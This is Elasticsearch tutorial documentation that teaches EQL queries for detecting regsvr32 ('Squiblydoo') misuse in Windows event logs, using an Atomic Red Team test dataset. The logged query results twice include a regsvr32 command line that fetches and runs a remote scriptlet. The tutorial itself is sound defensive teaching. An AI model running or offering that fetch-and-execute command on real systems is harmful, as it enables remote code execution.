123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422 |
- [role="xpack"]
- [testenv="basic"]
- [[eql-ex-threat-detection]]
- == Example: Detect threats with EQL
- experimental::[]
- This example tutorial shows you how you can use EQL to detect security threats
- and other suspicious behavior.
- In the scenario, you're tasked with detecting
- https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
- logs. `regsvr32` misuse is a known adversary technique documented in the
- https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
- [discrete]
- [[eql-ex-threat-detection-setup]]
- === Setup
- This tutorial uses a test dataset for `regsvr32` misuse from
- https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
- been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
- Schema (ECS)], including the `@timestamp` and `event.category` fields. The
- dataset includes events that imitate behaviors related to `regsvr32` misuse, as
- documented by MITRE ATT&CK®.
- To get started, download and index the dataset:
- . Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
- . Index the data into `my-index-000001` with the following <<docs-bulk,bulk
- API>> request:
- +
- [source,sh]
- ----
- curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
- ----
- // NOTCONSOLE
- . Use the <<cat-indices,cat indices API>> to verify the data was successfully
- indexed.
- +
- [source,console]
- ----
- GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
- ----
- // TEST[setup:atomic_red_regsvr32]
- +
- The API response should show a `docs.count` value of `150`, indicating 150
- documents were indexed.
- +
- [source,txt]
- ----
- health status index docs.count
- yellow open my-index-000001 150
- ----
- // TESTRESPONSE[non_json]
- [discrete]
- [[eql-ex-get-a-count-of-regsvr32-events]]
- === Get a count of `regsvr32` events
- Since you're looking for `regsvr32` misuse, start by getting a count of any
- events associated with a `regsvr32.exe` process.
- The following <<eql-search-api,EQL search API>> request uses an EQL query to
- retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
- starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
- meaning the query can match events of any <<eql-required-fields,event
- category>>.
- [source,console]
- ----
- GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
- {
- "query": """
- any where process.name == "regsvr32.exe" <2>
- """,
- "size": 200 <3>
- }
- ----
- // TEST[setup:atomic_red_regsvr32]
- <1> Uses the `?filter_path=-hits.events` query parameter to exclude the
- `hits.events` property from the response. The `hits.events` property contains
- the document source for any matching events. This request is intended to
- retrieve a count of events only.
- <2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
- <3> Returns up to 200 events or sequences matching the EQL query.
- The request returns the following response, indicating that 143 events match the
- query.
- [source,console-result]
- ----
- {
- "is_partial": false,
- "is_running": false,
- "took": 60,
- "timed_out": false,
- "hits": {
- "total": {
- "value": 143,
- "relation": "eq"
- }
- }
- }
- ----
- // TESTRESPONSE[s/"took": 60/"took": $body.took/]
- [discrete]
- [[eql-ex-check-for-command-line-artifacts]]
- === Check for command line artifacts
- Based on your previous query, you know `regsvr32` processes were associated with
- 143 events. But how was `regsvr32.exe` first called? And who called it?
- `regsvr32` is a command-line utility so it may help to narrow your results to
- processes where the command line was used.
- Update the previous EQL query as follows:
- * Change the `any` keyword to `process`. This limits matches to events with an
- `event.category` of `process`.
- * Add the `and process.command_line.keyword != null` condition to match only
- events with a command line value.
- You'll also need to remove the `filter_path=-hits.events` query parameter. This
- lets you retrieve the document source for any matching events.
- [source,console]
- ----
- GET /my-index-000001/_eql/search
- {
- "query": """
- process where process.name == "regsvr32.exe" and process.command_line.keyword != null
- """
- }
- ----
- // TEST[setup:atomic_red_regsvr32]
- The query matches one process event. The event has an `event.type` of
- `creation`, indicating the start of a `regsvr32.exe` process.
- Based on the `process.command_line` value in the response, `regsvr32.exe` used
- `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
- https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
- variant of `regsvr32` misuse.
- The response also includes other valuable information about how the
- `regsvr32.exe` process started, such as the `@timestamp`, the associated
- `user.id`, and the `process.parent.name`.
- [source,console-result]
- ----
- {
- "is_partial": false,
- "is_running": false,
- "took": 21,
- "timed_out": false,
- "hits": {
- "total": {
- "value": 1,
- "relation": "eq"
- },
- "events": [
- {
- "_index": "my-index-000001",
- "_id": "gl5MJXMBMk1dGnErnBW8",
- "_source": {
- "process": {
- "parent": {
- "name": "cmd.exe",
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
- "executable": "C:\\Windows\\System32\\cmd.exe"
- },
- "name": "regsvr32.exe",
- "pid": 2012,
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
- "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
- "executable": "C:\\Windows\\System32\\regsvr32.exe",
- "ppid": 2652
- },
- "logon_id": 217055,
- "@timestamp": 131883573237130000,
- "event": {
- "category": "process",
- "type": "creation"
- },
- "user": {
- "full_name": "bob",
- "domain": "ART-DESKTOP",
- "id": "ART-DESKTOP\\bob"
- }
- }
- }
- ]
- }
- }
- ----
- // TESTRESPONSE[s/"took": 21/"took": $body.took/]
- // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
- [discrete]
- [[eql-ex-check-for-malicious-script-loads]]
- === Check for malicious script loads
- You now know that a `regsvr32.exe` process was used to register a potentially
- malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
- `scrob.dll` library.
- Modify the previous EQL query as follows:
- * Change the `process` keyword to `library`.
- * Replace the `process.command_line.keyword != null` condition with
- `dll.name == "scrobj.dll`.
- [source,console]
- ----
- GET /my-index-000001/_eql/search
- {
- "query": """
- library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
- """
- }
- ----
- // TEST[setup:atomic_red_regsvr32]
- The query matches an event, confirming `scrobj.dll` was later loaded by
- `regsvr32.exe`.
- [source,console-result]
- ----
- {
- "is_partial": false,
- "is_running": false,
- "took": 5,
- "timed_out": false,
- "hits": {
- "total": {
- "value": 1,
- "relation": "eq"
- },
- "events": [
- {
- "_index": "my-index-000001",
- "_id": "ol5MJXMBMk1dGnErnBW8",
- "_source": {
- "process": {
- "name": "regsvr32.exe",
- "pid": 2012,
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
- "executable": "C:\\Windows\\System32\\regsvr32.exe"
- },
- "@timestamp": 131883573237450016,
- "dll": {
- "path": "C:\\Windows\\System32\\scrobj.dll",
- "name": "scrobj.dll"
- },
- "event": {
- "category": "library"
- }
- }
- }
- ]
- }
- }
- ----
- // TESTRESPONSE[s/"took": 5/"took": $body.took/]
- // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
- [discrete]
- [[eql-ex-detemine-likelihood-of-sucess]]
- === Determine likelihood of success
- In many cases, malicious scripts are used to connect to remote servers or
- download other files. If this occurred, the attack might have succeeded.
- Use an <<eql-sequences,EQL sequence query>> to check for the following series of
- events, in order:
- . A `regsvr32.exe` process, which could have been used to register malicious
- scripts as `scrobj.dll`
- . A load of the `scrobj.dll` library by the same process
- . Any network event by the same process, which could indicate the download of a
- remote file
- To match, each event in the sequence must share the same process ID, recorded in
- the `process.pid` field.
- Based on the command line value seen in the previous result, you can expect to
- find a match. However, the sequence query isn't designed for that specific
- command. Instead, it looks for a pattern of suspicious behavior while still
- being generic enough to detect similar threats in the future.
- [source,console]
- ----
- GET /my-index-000001/_eql/search
- {
- "query": """
- sequence by process.pid
- [process where process.name == 'regsvr32.exe']
- [library where dll.name == 'scrobj.dll']
- [network where true]
- """
- }
- ----
- // TEST[setup:atomic_red_regsvr32]
- The query matches a sequence, indicating the attack likely succeeded.
- [source,console-result]
- ----
- {
- "is_partial": false,
- "is_running": false,
- "took": 25,
- "timed_out": false,
- "hits": {
- "total": {
- "value": 1,
- "relation": "eq"
- },
- "sequences": [
- {
- "join_keys": [
- 2012
- ],
- "events": [
- {
- "_index": "my-index-000001",
- "_id": "gl5MJXMBMk1dGnErnBW8",
- "_source": {
- "process": {
- "parent": {
- "name": "cmd.exe",
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
- "executable": "C:\\Windows\\System32\\cmd.exe"
- },
- "name": "regsvr32.exe",
- "pid": 2012,
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
- "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
- "executable": "C:\\Windows\\System32\\regsvr32.exe",
- "ppid": 2652
- },
- "logon_id": 217055,
- "@timestamp": 131883573237130000,
- "event": {
- "category": "process",
- "type": "creation"
- },
- "user": {
- "full_name": "bob",
- "domain": "ART-DESKTOP",
- "id": "ART-DESKTOP\\bob"
- }
- }
- },
- {
- "_index": "my-index-000001",
- "_id": "ol5MJXMBMk1dGnErnBW8",
- "_source": {
- "process": {
- "name": "regsvr32.exe",
- "pid": 2012,
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
- "executable": "C:\\Windows\\System32\\regsvr32.exe"
- },
- "@timestamp": 131883573237450016,
- "dll": {
- "path": "C:\\Windows\\System32\\scrobj.dll",
- "name": "scrobj.dll"
- },
- "event": {
- "category": "library"
- }
- }
- },
- {
- "_index": "my-index-000001",
- "_id": "EF5MJXMBMk1dGnErnBa9",
- "_source": {
- "process": {
- "name": "regsvr32.exe",
- "pid": 2012,
- "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
- "executable": "C:\\Windows\\System32\\regsvr32.exe"
- },
- "@timestamp": 131883573238680000,
- "destination": {
- "address": "151.101.48.133",
- "port": "443"
- },
- "source": {
- "address": "192.168.162.134",
- "port": "50505"
- },
- "event": {
- "category": "network"
- },
- "user": {
- "full_name": "bob",
- "domain": "ART-DESKTOP",
- "id": "ART-DESKTOP\\bob"
- },
- "network": {
- "protocol": "tcp",
- "direction": "outbound"
- }
- }
- }
- ]
- }
- ]
- }
- }
- ----
- // TESTRESPONSE[s/"took": 25/"took": $body.took/]
- // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
- // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
- // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
|